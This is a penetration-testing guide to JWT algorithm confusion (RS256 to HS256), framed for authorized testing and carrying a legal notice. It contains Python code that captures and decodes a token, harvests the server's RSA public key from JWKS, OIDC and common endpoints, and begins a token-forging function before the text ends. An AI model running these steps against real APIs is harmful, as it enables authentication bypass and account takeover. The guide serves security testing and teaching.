Exploiting JWT Algorithm Confusion Attack

When to Use

• Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
• Assessing JWT implementations for alg:none bypass where the server skips signature verification
• Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
• Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
• Validating that the API server enforces a specific algorithm and does not trust the JWT header

Do not use without written authorization. JWT exploitation can lead to authentication bypass and account takeover.

Prerequisites

• Written authorization specifying the target API and JWT-based authentication in scope
• A valid JWT token from the target API (obtained through legitimate authentication)
• The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
• Python 3.10+ with PyJWT, cryptography, and requests libraries
• jwt_tool for automated JWT attack testing
• Burp Suite with JWT Editor extension

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: JWT Token Analysis

import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# Decode JWT parts
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")

Step 2: Obtain the Public Key

from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # Extract RSA public key from JWKS
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # First key
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")

Step 3: Algorithm Confusion Attack (RS256 to HS256)

def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.

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